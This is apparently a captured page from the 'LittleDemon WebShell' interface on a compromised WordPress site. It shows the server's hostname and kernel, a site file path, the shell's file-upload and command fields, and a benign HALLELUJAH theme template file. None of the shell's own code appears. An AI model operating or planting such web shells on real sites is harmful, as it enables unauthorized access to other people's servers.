LittleDemon WebShell


Linux webm007.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Path : /home/eglisebaa/www/wp-content/themes/hallelujah/
File Upload :
Command :
Current File : /home/eglisebaa/www/wp-content/themes/hallelujah/content-plain.php

<?php
/**
 * 'Plain' template to display the content
 *
 * Used for index/archive/search.
 *
 * @package WordPress
 * @subpackage HALLELUJAH
 * @since HALLELUJAH 1.0.62
 */

$hallelujah_template_args = get_query_var( 'hallelujah_template_args' );
$hallelujah_columns = 1;
if ( is_array( $hallelujah_template_args ) ) {
	$hallelujah_columns    = empty( $hallelujah_template_args['columns'] ) ? 1 : max( 1, $hallelujah_template_args['columns'] );
	$hallelujah_blog_style = array( $hallelujah_template_args['type'], $hallelujah_columns );
	if ( ! empty( $hallelujah_template_args['slider'] ) ) {
		?><div class="slider-slide swiper-slide">
		<?php
	} elseif ( $hallelujah_columns > 1 ) {
		?>
		<div class="column-1_<?php echo esc_attr( $hallelujah_columns ); ?>">
		<?php
	}
}
$hallelujah_expanded    = ! hallelujah_sidebar_present() && hallelujah_is_on( hallelujah_get_theme_option( 'expand_content' ) );
$hallelujah_post_format = get_post_format();
$hallelujah_post_format = empty( $hallelujah_post_format ) ? 'standard' : str_replace( 'post-format-', '', $hallelujah_post_format );
?>
<article id="post-<?php the_ID(); ?>" data-post-id="<?php the_ID(); ?>"
	<?php
	post_class( 'post_item post_layout_plain post_format_' . esc_attr( $hallelujah_post_format ) );
	hallelujah_add_blog_animation( $hallelujah_template_args );
	?>
>
	<?php

	// Sticky label
	if ( is_sticky() && ! is_paged() ) {
		?>
		<span class="post_label label_sticky"></span>
		<?php
	}

	// Featured image
	$hallelujah_hover = ! empty( $hallelujah_template_args['hover'] ) && ! hallelujah_is_inherit( $hallelujah_template_args['hover'] )
						? $hallelujah_template_args['hover']
						: hallelujah_get_theme_option( 'image_hover' );
	hallelujah_show_post_featured(
		array(
			'no_links'   => ! empty( $hallelujah_template_args['no_links'] ),
			'hover'      => $hallelujah_hover,
			'thumb_bg'   => true,
			'thumb_size' => hallelujah_get_thumb_size( 
								in_array( $hallelujah_post_format, array( 'gallery', 'audio', 'video' ) )
									? ( strpos( hallelujah_get_theme_option( 'body_style' ), 'full' ) !== false
										? 'full'
										: ( $hallelujah_expanded 
											? 'huge' 
											: 'big'
											)
										)
									: 'masonry-big'
								)
		)
	);

	?><div class="post_content_wrap"><?php

		// Title and post meta
		if ( ! in_array( $hallelujah_post_format, array( 'aside', 'status', 'link', 'quote' ) ) ) {
			$hallelujah_show_title = get_the_title() != '';
			$hallelujah_components = ! empty( $hallelujah_template_args['meta_parts'] )
									? ( is_array( $hallelujah_template_args['meta_parts'] )
										? join( ',', $hallelujah_template_args['meta_parts'] )
										: $hallelujah_template_args['meta_parts']
										)
									: hallelujah_array_get_keys_by_value( hallelujah_get_theme_option( 'meta_parts' ) );
			$hallelujah_show_meta  = ! empty( $hallelujah_components ) && ! in_array( $hallelujah_hover, array( 'border', 'pull', 'slide', 'fade' ) );
			if ( $hallelujah_show_title || $hallelujah_show_meta ) {
				?>
				<div class="post_header entry-header">
					<?php
					// Post title
					if ( $hallelujah_show_title ) {
						do_action( 'hallelujah_action_before_post_title' );
						if ( empty( $hallelujah_template_args['no_links'] ) ) {
							the_title( sprintf( '<h3 class="post_title entry-title"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h3>' );
						} else {
							the_title( '<h3 class="post_title entry-title">', '</h3>' );
						}
					}
					
					// Post meta
					if ( $hallelujah_show_meta ) {
						do_action( 'hallelujah_action_before_post_meta' );
						hallelujah_show_post_meta(
							apply_filters(
								'hallelujah_filter_post_meta_args', array(
									'components' => $hallelujah_components,
									'seo'        => false,
								), 'excerpt', 1
							)
						);
					}
					?>
				</div><!-- .post_header -->
				<?php
			}
		}

		// Post content
		if ( ! isset( $hallelujah_template_args['excerpt_length'] ) && ! in_array( $hallelujah_post_format, array( 'gallery', 'audio', 'video' ) ) ) {
			$hallelujah_template_args['excerpt_length'] = 30;
		}
		if ( empty( $hallelujah_template_args['hide_excerpt'] ) && hallelujah_get_theme_option( 'excerpt_length' ) > 0 ) {
			?>
			<div class="post_content entry-content">
				<?php
				// Post content area
				hallelujah_show_post_content( $hallelujah_template_args, '<div class="post_content_inner">', '</div>' );
				// More button
				if ( empty( $hallelujah_template_args['no_links'] ) && ! in_array( $hallelujah_post_format, array( 'link', 'aside', 'status', 'quote' ) ) ) {
					hallelujah_show_post_more_link( $hallelujah_template_args, '<p>', '</p>' );
				}
				?>
			</div><!-- .entry-content -->
			<?php
		}
		?>
	</div>
</article>
<?php

if ( is_array( $hallelujah_template_args ) ) {
	if ( ! empty( $hallelujah_template_args['slider'] ) || $hallelujah_columns > 1 ) {
		?>
		</div>
		<?php
	}
}

LittleDemon - FACEBOOK
[ KELUAR ]